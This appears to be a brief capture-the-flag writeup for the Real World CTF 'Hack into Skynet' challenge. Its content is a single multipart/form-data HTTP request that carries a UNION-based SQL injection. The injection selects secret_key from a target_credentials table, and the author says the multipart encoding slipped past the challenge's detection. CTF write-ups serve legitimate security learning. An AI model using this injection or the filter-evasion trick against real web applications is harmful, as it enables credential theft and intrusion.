Tags: sqli websec 

Rating: 5.0

Using multipart form data provided enough obfuscation to bypass skynet's detection
```
Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575

Content-Length: 366

-----------------------------974767299852498929531610575

Content-Disposition: form-data; name="name"

'or 1='1' union all select secret_key, '16' FROM target_credentials offset 13--

-----------------------------974767299852498929531610575

Content-Disposition: form-data; name="myFile"; filename="foo.txt"

Content-Type: text/plain

(content of the uploaded file foo.txt)

-----------------------------974767299852498929531610575--
```

Original writeup (https://feraverse.com/technology/security/real-world-ctf-hack-into-skynet-writeup/).